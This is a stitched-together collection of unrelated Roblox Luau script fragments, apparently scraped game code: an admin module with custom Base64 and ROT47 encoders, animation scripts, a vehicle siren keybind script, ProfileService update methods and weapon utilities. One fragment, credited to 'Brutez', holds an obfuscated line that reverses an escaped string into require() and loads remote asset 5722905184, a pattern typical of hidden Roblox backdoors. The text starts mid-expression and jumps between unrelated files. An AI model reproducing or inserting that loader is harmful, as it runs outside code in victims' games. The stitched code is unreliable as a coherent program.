"adonis:enc;;"..ver..";;"..Base64Encode(string.char(unpack(t))) return { encrypt = function(data) -- Add as many layers of encryption that are useful, even a basic cipher that throws exploiters off the actual encrypted data is accepted. -- What could count: XOR, Base64, Simple Encryption, A Cipher to cover the encryption, etc. -- What would be too complex: AES-256 CTR-Mode, Base91, PGP/Pretty Good Privacy -- TO:DO; - Script XOR + Custom Encryption Backend, multiple security measures, if multiple encryption layers are used, -- manipulate the key as much as possible; -- -- - Create Custom Lightweight Encoding + Cipher format, custom B64 Alphabet, etc. -- 'ADONIS+HUJKLMSBP13579VWXYZadonis/hujklmsbp24680vwxyz><_*+-?!&@%#' -- -- - A basic form of string compression before encrypting should be used -- If this becomes really nice, find a way to convert old datastore saved data to this new format. -- -- ? This new format has an URI-Like structure to provide correct versioning and easy migrating between formats --[[ INSERT ALREADY USED ADONIS "ENCRYPTION" HERE ]] --[[ INSERT BIT32 BITWISE XOR OPERAND HERE]] --[[ INSERT ROT47 CIPHER HERE ]] --[[ INSERT CUSTOM ADONIS BASE64 ENCODING HERE ]] --[[ CONVERT EVERYTHING TO AN URI WITH VERSIONING AND INFORMATION ]] end; decrypt = function(data) end; } end; -- ROT 47: ROT13 BUT BETTER Rot47Cipher = function(data,mode) if not (mode == "enc" or mode == "dec") then error("Invalid ROT47 Cipher Mode") end local base = 33 local range = 126 - 33 + 1 -- Checks if the given char is convertible -- ASCII Code should be within the range [33 .. 126] local function rot47_convertible(char) local v = string.byte(char) return v >= 33 and v <= 126 end local function cipher(str, key) return (string.gsub(str, '.', function(s) if not rot47_convertible(s) then return s end return string.char(((string.byte(s) - base + key) % range) + base) end)) end if mode == "enc" then return cipher(data,47) end if mode == "dec" then return cipher(data,-47) end end; -- CUSTOM BASE64 ALPHABET ENCODING Base64_A_Decode = function(data) local sub = string.sub local gsub = string.gsub local find = string.find local char = string.char local b = 'ADONIS+HUJKLMSBP13579VWXYZadonis/hujklmsbp24680vwxyz><_*+-?!&@%#' data = gsub(data, `[^{b}=]`, '') return (gsub(gsub(data, '.', function(x) if x == '=' then return '' end local r, f = '', (find(b, x) - 1) for i = 6, 1, -1 do r ..= (f % 2 ^ i - f % 2 ^ (i - 1) > 0 and '1' or '0') end return r; end), '%d%d%d?%d?%d?%d?%d?%d?', function(x) if #x ~= 8 then return '' end local c = 0 for i = 1, 8 do c += (sub(x, i, i) == '1' and 2 ^ (8 - i) or 0) end return char(c) end)) end; Base64_A_Encode = function(data) local sub = string.sub local byte = string.byte local gsub = string.gsub return (gsub(gsub(data, '.', function(x) local r, b = "", byte(x) for i = 8, 1, -1 do r ..= (b % 2 ^ i - b % 2 ^ (i - 1) > 0 and '1' or '0') end return r; end) .. '0000', '%d%d%d?%d?%d?%d?', function(x) if #(x) < 6 then return '' end local c = 0 for i = 1, 6 do c += (sub(x, i, i) == '1' and 2 ^ (6 - i) or 0) end return sub('ADONIS+HUJKLMSBP13579VWXYZadonis/hujklmsbp24680vwxyz><_*+-?!&@%#', c + 1, c + 1) end)..({ '', '==', '=' })[#(data) % 3 + 1]) end; -- Base64Encode = function(data) local sub = string.sub local byte = string.byte local gsub = string.gsub return (gsub(gsub(data, '.', function(x) local r, b = "", byte(x) for i = 8, 1, -1 do r ..= (b % 2 ^ i - b % 2 ^ (i - 1) > 0 and '1' or '0') end return r; end) .. '0000', '%d%d%d?%d?%d?%d?', function(x) if #(x) < 6 then return '' end local c = 0 for i = 1, 6 do c += (sub(x, i, i) == '1' and 2 ^ (6 - i) or 0) end return sub('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/', c + 1, c + 1) end)..({ '', '==', '=' })[#(data) % 3 + 1]) end; Base64Decode = function(data) local sub = string.sub local gsub = string.gsub local find = string.find local char = string.char local b = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' data = gsub(data, `[^{b}=]`, '') return (gsub(gsub(data, '.', function(x) if x == '=' then return '' end local r, f = '', (find(b, x) - 1) for i = 6, 1, -1 do r ..= (f % 2 ^ i - f % 2 ^ (i - 1) > 0 and '1' or '0') end return r; end), '%d%d%d?%d?%d?%d?%d?%d?', function(x) if #x ~= 8 then return '' end local c = 0 for i = 1, 8 do c += (sub(x, i, i) == '1' and 2 ^ (8 - i) or 0) end return char(c) end)) end; Hint = function(message, players, duration) duration = duration or (#tostring(message) / 19 + 2.5) for _, v in players do Remote.MakeGui(v, "Hint", { Message = message; Time = duration; }) end end; Message = function(title, message, players, scroll, duration) duration = duration or (#tostring(message) / 19) + 2.5 for _, v in players do task.defer(function() Remote.RemoveGui(v, "Message") Remote.MakeGui(v, "Message", { Title = title; Message = message; Scroll = scroll; Time = duration; }) end) end end; Notify = function(title, message, players, duration) duration = duration or (#tostring(message) / 19) + 2.5 for _, v in players do task.defer(function() Remote.RemoveGui(v, "Notify") Remote.MakeGui(v, "Notify", { Title = title; Message = message; Time = duration; }) end) end end; Notification = function(title, message, players, duration, icon) for _, v in players do Remote.MakeGui(v, "Notification", { Title = title; Message = message; Time = duration; Icon = server.MatIcons[icon or "Info"]; }) end end; MakeWeld = function(a, b) local weld = service.New("ManualWeld") weld.Part0 = a weld.Part1 = b weld.C0 = a.CFrame:Inverse() * b.CFrame weld.Parent = a return weld end; SetLighting = function(prop,value) if service.Lighting[prop] ~= nil then service.Lighting[prop] = value Variables.LightingSettings[prop] = value for _, p in service.GetPlayers() do Remote.SetLighting(p, prop, value) end end end; LoadEffects = function(plr) for i, v in Variables.LocalEffects do if (v.Part and v.Part.Parent) or v.NoPart then if v.Type == "Cape" then Remote.Send(plr, "Function", "NewCape", v.Data) elseif v.Type == "Particle" then Remote.NewParticle(plr, v.Part, v.Class, v.Props) end else Variables.LocalEffects[i] = nil end end end; NewParticle = function(target, particleType, props) local ind = Functions.GetRandom() Variables.LocalEffects[ind] = { Part = target; Class = particleType; Props = props; Type = "Particle"; } for _, v in service.Players:GetPlayers() do Remote.NewParticle(v, target, particleType, props) end end; RemoveParticle = function(target,name) for i, v in Variables.LocalEffects do if v.Type == "Particle" and v.Part == target and (v.Props.Name == name or v.Class == name) then Variables.LocalEffects[i] = nil end end for _, v in service.Players:GetPlayers() do Remote.RemoveParticle(v, target, name) end end; UnCape = function(plr) for i, v in Variables.LocalEffects do if v.Type == "Cape" and v.Player == plr then Variables.LocalEffects[i] = nil end end for _, v in service.Players:GetPlayers() do Remote.Send(v, "Function", "RemoveCape", plr.Character) end end; Cape = function(player,isdon,material,color,decal,reflect) material = material or "Neon" if not Functions.GetEnumValue(Enum.Material, material) then error("Invalid material value") end Functions.UnCape(player) local torso = player.Character:FindFirstChild("HumanoidRootPart") if torso then if type(color) == "table" then color = Color3.new(unpack(color)) end local data = { Color = color; Parent = player.Character; Material = material; Reflectance = reflect; Decal = decal; } if isdon and Settings.DonorCapes and Settings.LocalCapes then Remote.Send(player, "Function", "NewCape", data) else local ind = Functions.GetRandom() Variables.LocalEffects[ind] = { Player = player; Part = player.Character.HumanoidRootPart; Data = data; Type = "Cape"; } for _, v in service.Players:GetPlayers() do Remote.Send(v, "Function", "NewCape", data) end end end end; PlayAnimation = function(player, animId) if player.Character and tonumber(animId) then local human = player.Character:FindFirstChildOfClass("Humanoid") if human and not human:FindFirstChildOfClass("Animator") then service.New("Animator", human) end Remote.Send(player,"Function","PlayAnimation",animId) end end; GetEnumValue = function(enum, item) local valid = false for _,v in enum:GetEnumItems() do if v.Name == item then valid = v.Value break end end return valid end; ApplyBodyPart = function(character, model) -- NOTE: Use HumanoidDescriptions to apply body parts where possible, unless applying custom parts local humanoid = character:FindFirstChildOfClass("Humanoid") if humanoid then local rigType = humanoid.RigType == Enum.HumanoidRigType.R6 and "R6" or "R15" local part = model:FindFirstChild(rigType) if not part and rigType == "R15" then part = model:FindFirstChild("R15Fixed") end if part then if rigType == "R6" then local children = character:GetChildren() for _,v in part:GetChildren() do for _,x in children do if x:IsA("CharacterMesh") and x.BodyPart == v.BodyPart then x:Destroy() end end v:Clone().Parent = character end elseif rigType == "R15" then for _,v in part:GetChildren() do local value = Functions.GetEnumValue(Enum.BodyPartR15, v.Name) if value then humanoid:ReplaceBodyPartR15(value, v:Clone()) end end end end end end; makeRobot = function(player, num, health, speed, damage, walk, attack, friendly) local Deps = server.Deps local char = player.Character local torso = char:FindFirstChild("HumanoidRootPart") or char.PrimaryPart local pos = torso.CFrame local oldArchivable = char.Archivable char.Archivable = true local rawClone = char:Clone() char.Archivable = oldArchivable local clone = Instance.new("Actor") clone.PrimaryPart = rawClone.PrimaryPart clone.WorldPivot = rawClone.WorldPivot --clone:ScaleTo(rawClone:GetScale()) for k, v in ipairs(rawClone:GetAttributes()) do clone:SetAttribute(k, v) end for _, v in ipairs(rawClone:GetChildren()) do v.Parent = clone end for i = 1, num do local new = clone:Clone() local hum = new:FindFirstChildOfClass("Humanoid") local brain = Deps.Assets.BotBrain:Clone() local event = brain.Event local oldAnim = new:FindFirstChild("Animate") local isR15 = hum.RigType == "R15" local anim = isR15 and Deps.Assets.R15Animate:Clone() or Deps.Assets.R6Animate:Clone() new.Name = player.Name new.Archivable = false new.HumanoidRootPart.CFrame = pos*CFrame.Angles(0, math.rad((360/num)*i), 0) * CFrame.new((num*0.2)+5, 0, 0) hum.WalkSpeed = speed hum.MaxHealth = health hum.Health = health if oldAnim then oldAnim:Destroy() end anim.Parent = new brain.Parent = new anim.Disabled = false brain.Disabled = false new.Parent = workspace if i % 5 == 1 then task.wait() end event:Fire("SetSetting", { Creator = player; Friendly = friendly; TeamColor = player.TeamColor; Attack = attack; Swarm = attack; Walk = walk; Damage = damage; Health = health; WalkSpeed = speed; SpecialKey = math.random(); }) if walk then event:Fire("Init") end table.insert(Variables.Objects, new) end end, GetJoints = function(character) local temp = {} for _,v in character:GetDescendants() do if v:IsA("Motor6D") then temp[v.Name] = v -- assumes no 2 joints have the same name, hopefully this wont cause issues end end return temp end; ResetReplicationFocus = function(player) --if not workspace.StreamingEnabled then return end local rootPart = player.Character and player.Character.PrimaryPart player.ReplicationFocus = rootPart or nil end; LoadOnClient = function(player,source,object,name) if service.Players:FindFirstChild(player.Name) then local parent = player:FindFirstChildOfClass("PlayerGui") or player:WaitForChild("PlayerGui", 15) or player:WaitForChild("Backpack") local cl = Core.NewScript("LocalScript", source) cl.Name = name or Functions.GetRandom() cl.Parent = parent cl.Disabled = false if object then table.insert(Variables.Objects,cl) end end end; Split = function(msg,key,num) if not msg or not key or not num or num <= 0 then return {} end if key=="" then key = " " end local tab = {} local str = '' for arg in string.gmatch(msg,`([^{key}]+)`) do if #tab>=num then break elseif #tab>=num-1 then table.insert(tab,string.sub(msg,#str+1,#msg)) else str ..= arg..key table.insert(tab,arg) end end return tab end; BasicSplit = function(msg,key) local ret = {} for arg in string.gmatch(msg,`([^{key}]+)`) do table.insert(ret,arg) end return ret end; IsValidTexture = function(id) local id = tonumber(id) local ran, info = pcall(function() return service.MarketPlace:GetProductInfo(id) end) if ran and info and info.AssetTypeId == 1 then return true; else return false; end end; GetTexture = function(id) local id = tonumber(id); if id and Functions.IsValidTexture(id) then return id; else return 6825455804; end end; Trim = function(str) return string.match(str, "^%s*(.-)%s*$") end; RoundToPlace = function(num, places) return math.floor((num*(10^(places or 0)))+0.5)/(10^(places or 0)) end; CleanWorkspace = function() for _, v in workspace:GetChildren() do if v:IsA("BackpackItem") or v:IsA("Accoutrement") then v:Destroy() end end end; RemoveSeatWelds = function(seat) if seat then for _,v in seat:GetChildren() do if v:IsA("Weld") then if v.Part1 and v.Part1.Name == "HumanoidRootPart" then v:Destroy() end end end end end; GrabNilPlayers = function(name) local AllGrabbedPlayers = {} for _,v in service.NetworkServer:GetChildren() do pcall(function() if v:IsA("NetworkReplicator") then if string.sub(string.lower(v:GetPlayer().Name),1,#name)==string.lower(name) or name=='all' then table.insert(AllGrabbedPlayers, (v:GetPlayer() or "NoPlayer")) end end end) end return AllGrabbedPlayers end; GetUserIdFromNameAsync = function(name) local cache = Admin.UserIdCache[name] if not cache then local success, UserId = pcall(service.Players.GetUserIdFromNameAsync, service.Players, name) if success then Admin.UserIdCache[name] = UserId return UserId end end return cache end; Shutdown = function(reason) Functions.Message(Settings.SystemTitle, "The server is shutting down...", service.Players:GetPlayers(), false, 5) task.wait(1) service.Players.PlayerAdded:Connect(function(player) player:Kick(`Server Shutdown\n\n{reason or "No Reason Given"}`) end) for _, v in service.Players:GetPlayers() do v:Kick(`Server Shutdown\n\n{reason or "No Reason Given"}`) end end; Donor = function(plr) if Admin.CheckDonor(plr) and Settings.DonorCapes then local PlayerData = Core.GetPlayer(plr) or {Donor = {}} local donor = PlayerData.Donor or {} if donor and donor.Enabled then local img,color,material if donor and donor.Cape then img,color,material = donor.Cape.Image,donor.Cape.Color,donor.Cape.Material else img,color,material = '0','White','Neon' end if plr and plr.Character and plr.Character:FindFirstChild("HumanoidRootPart") then Functions.Cape(plr,true,material,color,img) end end end end; CheckMatch = function(check, match) if check == match then return true elseif type(check) == "table" and type(match) == "table" then local good = false local num = 0 for k, v in check do if v == match[k] then good = true else good = false break end num += 1 end return good and num == service.CountTable(match) end return false end; LaxCheckMatch = function(check, match, opts) local keys = if opts and typeof(opts) == 'table' and opts.IgnoreKeys then opts.IgnoreKeys else {} if check == match then return true elseif type(check) == "table" and type(match) == "table" then for k, v in match do if table.find(keys, k) then continue end if type(v) == "table" and not Functions.LaxCheckMatch(check[k], v, opts) then return false elseif type(v) ~= "table" and check[k] ~= v then return false end end return true end return false end; DSKeyNormalize = function(intab, reverse) local tab = {} if reverse then for i,v in intab do if tonumber(i) then tab[tonumber(i)] = v; end end else for i,v in intab do tab[tostring(i)] = v; end end return tab; end; GetIndex = function(tab,match) for i,v in tab do if v==match then return i elseif type(v)=="table" and type(match)=="table" then local good = false for k,m in v do if m == match[k] then good = true else good = false break end end if good then return i end end end end; ConvertPlayerCharacterToRig = function(plr: Player, rigType: EnumItem) rigType = rigType or Enum.HumanoidRigType.R15 local Humanoid: Humanoid = plr.Character and plr.Character:FindFirstChildOfClass("Humanoid") local HumanoidDescription = Humanoid:GetAppliedDescription() or service.Players:GetHumanoidDescriptionFromUserId(plr.UserId) local newCharacterModel: Model = service.Players:CreateHumanoidModelFromDescription(HumanoidDescription, rigType, Enum.AssetTypeVerification.Always) local Animate: BaseScript = newCharacterModel.Animate newCharacterModel.Humanoid.DisplayName = Humanoid.DisplayName newCharacterModel.Name = plr.Name local oldCFrame = plr.Character and plr.Character:GetPivot() or CFrame.new() if plr.Character then plr.Character:Destroy() plr.Character = nil end plr.Character = newCharacterModel -- Clone StarterCharacterScripts to new character if service.StarterPlayer:FindFirstChild("StarterCharacterScripts") then for _, v in service.StarterPlayer:FindFirstChild("StarterCharacterScripts"):GetChildren() do if v.Archivable then v:Clone().Parent = newCharacterModel end end end newCharacterModel:PivotTo(oldCFrame) newCharacterModel.Parent = workspace -- hacky way to fix other people being unable to see animations. for _ = 1, 2 do if Animate then Animate.Disabled = not Animate.Disabled end end return newCharacterModel end; CreateClothingFromImageId = function(clothingType, id) return service.New(clothingType, { Name = clothingType; [assert(if clothingType == "Shirt" then "ShirtTemplate" elseif clothingType == "Pants" then "PantsTemplate" elseif clothingType == "ShirtGraphic" then "Graphic" else nil, "Invalid clothing type") ] = `rbxassetid://{id}`; }) end; ParseColor3 = function(str: string?) if not str then return nil end if str:lower() == "random" then return Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255)) end local color = {} for s in string.gmatch(str, "[%d]+") do table.insert(color, tonumber(s)) end if #color == 3 then color = Color3.fromRGB(color[1], color[2], color[3]) else local brickColor = BrickColor.new(str) if str == tostring(brickColor) then color = brickColor.Color else return end end return color end; ParseBrickColor = function(str: string, allowNil: boolean?) if not str and allowNil then return nil end if not str or str:lower() == "random" then return BrickColor.random() end local brickColor = BrickColor.new(str) if str == tostring(brickColor) then return brickColor else -- If provided a Color3, return closest BrickColor local color = Functions.ParseColor3(str) if color then return BrickColor.new(color) end end return if allowNil then nil else BrickColor.random() end; }; end
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false} local PreloadAnimsUserFlag = false local PreloadedAnims = {} local successPreloadAnim, msgPreloadAnim = pcall(function() PreloadAnimsUserFlag = UserSettings():IsUserFeatureEnabled("UserPreloadAnimations") end) if not successPreloadAnim then PreloadAnimsUserFlag = false end math.randomseed(tick()) function findExistingAnimationInSet(set, anim) if set == nil or anim == nil then return 0 end for idx = 1, set.count, 1 do if set[idx].anim.AnimationId == anim.AnimationId then return idx end end return 0 end function configureAnimationSet(name, fileList) if animTable[name] ~= nil then for _, connection in pairs(animTable[name].connections) do connection:disconnect() end end animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 animTable[name].connections = {} local allowCustomAnimations = true local AllowDisableCustomAnimsUserFlag = false local success, msg = pcall(function() AllowDisableCustomAnimsUserFlag = UserSettings():IsUserFeatureEnabled("UserAllowDisableCustomAnims2") end) if AllowDisableCustomAnimsUserFlag then local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end) if not success then allowCustomAnimations = true end end -- check for config values local config = script:FindFirstChild(name) if (allowCustomAnimations and config ~= nil) then table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end)) local idx = 0 for _, childPart in pairs(config:GetChildren()) do if childPart:IsA("Animation") then local newWeight = 1 local weightObject = childPart:FindFirstChild("Weight") if weightObject ~= nil then newWeight = weightObject.Value end animTable[name].count = animTable[name].count + 1 idx = animTable[name].count animTable[name][idx] = {} animTable[name][idx].anim = childPart animTable[name][idx].weight = newWeight animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, childPart.ChildAdded:connect(function(property) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, childPart.ChildRemoved:connect(function(property) configureAnimationSet(name, fileList) end)) end end end -- fallback to defaults if animTable[name].count <= 0 then for idx, anim in pairs(fileList) do animTable[name][idx] = {} animTable[name][idx].anim = Instance.new("Animation") animTable[name][idx].anim.Name = name animTable[name][idx].anim.AnimationId = anim.id animTable[name][idx].weight = anim.weight animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + anim.weight end end -- preload anims if PreloadAnimsUserFlag then for i, animType in pairs(animTable) do for idx = 1, animType.count, 1 do if PreloadedAnims[animType[idx].anim.AnimationId] == nil then Humanoid:LoadAnimation(animType[idx].anim) PreloadedAnims[animType[idx].anim.AnimationId] = true end end end end end
--// # key, Yelp
mouse.KeyDown:connect(function(key) if key=="g" then if veh.Lightbar.middle.Yelp2.IsPlaying == true then veh.Lightbar.middle.Wail2:Stop() veh.Lightbar.middle.Yelp2:Stop() veh.Lightbar.middle.Priority:Stop() script.Parent.Parent.Sirens.Yelp.BackgroundColor3 = Color3.fromRGB(62, 62, 62) else veh.Lightbar.middle.Wail2:Stop() veh.Lightbar.middle.Yelp2:Play() veh.Lightbar.middle.Priority:Stop() script.Parent.Parent.Sirens.Yelp.BackgroundColor3 = Color3.fromRGB(215, 135, 110) script.Parent.Parent.Sirens.Wail.BackgroundColor3 = Color3.fromRGB(62, 62, 62) script.Parent.Parent.Sirens.Priority.BackgroundColor3 = Color3.fromRGB(62, 62, 62) end end end) mouse.KeyDown:connect(function(key) if key=="j" then veh.Lightbar.middle.Beep:Play() veh.Lightbar.RemoteEvent:FireServer(true) end end) mouse.KeyDown:connect(function(key) if key=="k" then veh.Lightbar.middle.Beep:Play() veh.Lightbar.DirectionalEvent:FireServer(true) end end)
-- Get first join time
function Main:GetFirstJoinTime() return self.FirstJoinTime end
--[[ By: Brutez. ]]-- --[[ Last synced 11/11/2020 02:24 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--[[ A component that establishes a connection to a Roblox event when it is rendered. ]]
local Roact = require(script.Parent.Roact) local ExternalEventConnection = Roact.Component:extend("ExternalEventConnection") function ExternalEventConnection:init() self.connection = nil end
-- Variables
local player = Players.LocalPlayer local character = script.Parent local npcModel = workspace.LobbyAssets.NPC local animationController = npcModel.AnimationController local animation = Instance.new("Animation") local lastWavedAt = 0 local characterIsNear = false local waveAnimationTrack
--------LEFT DOOR --------
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
--[[ Script Variables ]]
-- while not Players.LocalPlayer do wait() end local LocalPlayer = Players.LocalPlayer local PlayerGui = LocalPlayer:WaitForChild('PlayerGui') local IsTouchDevice = UserInputService.TouchEnabled local UserMovementMode = IsTouchDevice and GameSettings.TouchMovementMode or GameSettings.ComputerMovementMode local DevMovementMode = IsTouchDevice and LocalPlayer.DevTouchMovementMode or LocalPlayer.DevComputerMovementMode local IsUserChoice = (IsTouchDevice and DevMovementMode == Enum.DevTouchMovementMode.UserChoice) or DevMovementMode == Enum.DevComputerMovementMode.UserChoice local TouchGui = nil local TouchControlFrame = nil local TouchJumpModule = nil local IsModalEnabled = UserInputService.ModalEnabled local BindableEvent_OnFailStateChanged = nil local isJumpEnabled = false
-- ONLY WHEN FROM "Profile.GlobalUpdates":
function GlobalUpdates:ListenToNewActiveUpdate(listener) --> [ScriptConnection] listener(update_id, update_data) if type(listener) ~= "function" then error("[ProfileService]: Only a function can be set as listener in GlobalUpdates:ListenToNewActiveUpdate()") end local profile = self._profile if self._update_handler_mode == true then error("[ProfileService]: Can't listen to new global updates in ProfileStore:GlobalUpdateProfileAsync()") elseif self._new_active_update_listeners == nil then error("[ProfileService]: Can't listen to new global updates in view mode") elseif profile:IsActive() == false then -- Check if profile is expired return { -- Do not connect listener if the profile is expired Disconnect = function() end, } end -- Connect listener: table.insert(self._new_active_update_listeners, listener) return Madwork.NewArrayScriptConnection(self._new_active_update_listeners, listener) end function GlobalUpdates:ListenToNewLockedUpdate(listener) --> [ScriptConnection] listener(update_id, update_data) if type(listener) ~= "function" then error("[ProfileService]: Only a function can be set as listener in GlobalUpdates:ListenToNewLockedUpdate()") end local profile = self._profile if self._update_handler_mode == true then error("[ProfileService]: Can't listen to new global updates in ProfileStore:GlobalUpdateProfileAsync()") elseif self._new_locked_update_listeners == nil then error("[ProfileService]: Can't listen to new global updates in view mode") elseif profile:IsActive() == false then -- Check if profile is expired return { -- Do not connect listener if the profile is expired Disconnect = function() end, } end -- Connect listener: table.insert(self._new_locked_update_listeners, listener) return Madwork.NewArrayScriptConnection(self._new_locked_update_listeners, listener) end function GlobalUpdates:LockActiveUpdate(update_id) if type(update_id) ~= "number" then error("[ProfileService]: Invalid update_id") end local profile = self._profile if self._update_handler_mode == true then error("[ProfileService]: Can't lock active global updates in ProfileStore:GlobalUpdateProfileAsync()") elseif self._pending_update_lock == nil then error("[ProfileService]: Can't lock active global updates in view mode") elseif profile:IsActive() == false then -- Check if profile is expired error("[ProfileService]: PROFILE EXPIRED - Can't lock active global updates") end -- Check if global update exists with given update_id local global_update_exists = nil for _, global_update in ipairs(self._updates_latest[2]) do if global_update[1] == update_id then global_update_exists = global_update break end end if global_update_exists ~= nil then local is_pending_lock = false for _, lock_update_id in ipairs(self._pending_update_lock) do if update_id == lock_update_id then is_pending_lock = true -- Exclude global updates pending to be locked break end end if is_pending_lock == false and global_update_exists[3] == false then -- Avoid id duplicates in _pending_update_lock table.insert(self._pending_update_lock, update_id) end else error("[ProfileService]: Passed non-existant update_id") end end function GlobalUpdates:ClearLockedUpdate(update_id) if type(update_id) ~= "number" then error("[ProfileService]: Invalid update_id") end local profile = self._profile if self._update_handler_mode == true then error("[ProfileService]: Can't clear locked global updates in ProfileStore:GlobalUpdateProfileAsync()") elseif self._pending_update_clear == nil then error("[ProfileService]: Can't clear locked global updates in view mode") elseif profile:IsActive() == false then -- Check if profile is expired error("[ProfileService]: PROFILE EXPIRED - Can't clear locked global updates") end -- Check if global update exists with given update_id local global_update_exists = nil for _, global_update in ipairs(self._updates_latest[2]) do if global_update[1] == update_id then global_update_exists = global_update break end end if global_update_exists ~= nil then local is_pending_clear = false for _, clear_update_id in ipairs(self._pending_update_clear) do if update_id == clear_update_id then is_pending_clear = true -- Exclude global updates pending to be cleared break end end if is_pending_clear == false and global_update_exists[3] == true then -- Avoid id duplicates in _pending_update_clear table.insert(self._pending_update_clear, update_id) end else error("[ProfileService]: Passed non-existant update_id") end end
--What happens when player joins a server
game.Players.PlayerAdded:Connect(function(player)--here player means the player who will join the game local leaderstats= Instance.new("Folder")-- This will create a folder when player joins leaderstats.Name= ("leaderstats") leaderstats.Parent= player --now currency local cash= Instance.new("IntValue") cash.Name= ("Cash")-- change ("Cash") to any word u want, but the brackets and commas cash.Parent = leaderstats cash.Value = 500 --change the ammount of money u want to give player end)
--Made by Luckymaxer
Debris = game:GetService("Debris") ProjectileNames = {"Water", "Arrow", "Projectile", "Effect", "Rail", "Laser", "Ray", "Bullet", "ParticlePart"} Functions = { CreateConfiguration = (function(Configurations, Table) for i, v in pairs(Configurations:GetChildren()) do if string.find(v.ClassName, "Value") then Table[v.Name] = v:Clone() elseif v:IsA("Folder") or v:IsA("Configuration") then Table[v.Name] = Functions.CreateConfiguration(v, Table) end end return Table end), FindCharacterAncestor = (function(Object) if Object and Object ~= game:GetService("Workspace") then local Humanoid = Object:FindFirstChild("Humanoid") if Humanoid then return Object, Humanoid else return Functions.FindCharacterAncestor(Object.Parent) end end return nil end), CheckTableForString = (function(Table, String) for i, v in pairs(Table) do if string.lower(v) == string.lower(String) then return true end end return false end), CheckIntangible = (function(Hit) if Hit and Hit.Parent then if Functions.CheckTableForString(ProjectileNames, Hit.Name) then return true end local ObjectParent = Hit.Parent local Character = ObjectParent.Parent local Humanoid = Character:FindFirstChild("Humanoid") if Humanoid and Humanoid.Health > 0 and ObjectParent:IsA("Hat") then return true end end return false end), CastRay = (function(StartPos, Vec, Length, Ignore, DelayIfHit) local RayHit, RayPos, RayNormal = game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore) if RayHit and Functions.CheckIntangible(RayHit) then if DelayIfHit then task.wait() end RayHit, RayPos, RayNormal = Functions.CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit) end return RayHit, RayPos, RayNormal end), IsTeamMate = (function(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end), TagHumanoid = (function(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end), UntagHumanoid = (function(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end), CheckTableForString = (function(Table, String) for i, v in pairs(Table) do if string.lower(v) == string.lower(String) then return true end end return false end), Clamp = (function(Number, Min, Max) return math.max(math.min(Max, Number), Min) end), GetPercentage = (function(Start, End, Number) return (((Number - Start) / (End - Start)) * 100) end), Round = (function(Number, RoundDecimal) local WholeNumber, Decimal = math.modf(Number) return ((Decimal >= RoundDecimal and math.ceil(Number)) or (Decimal < RoundDecimal and math.floor(Number))) end), } return Functions
--[[** ensures Roblox Color3 type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.Color3 = primitive("Color3")
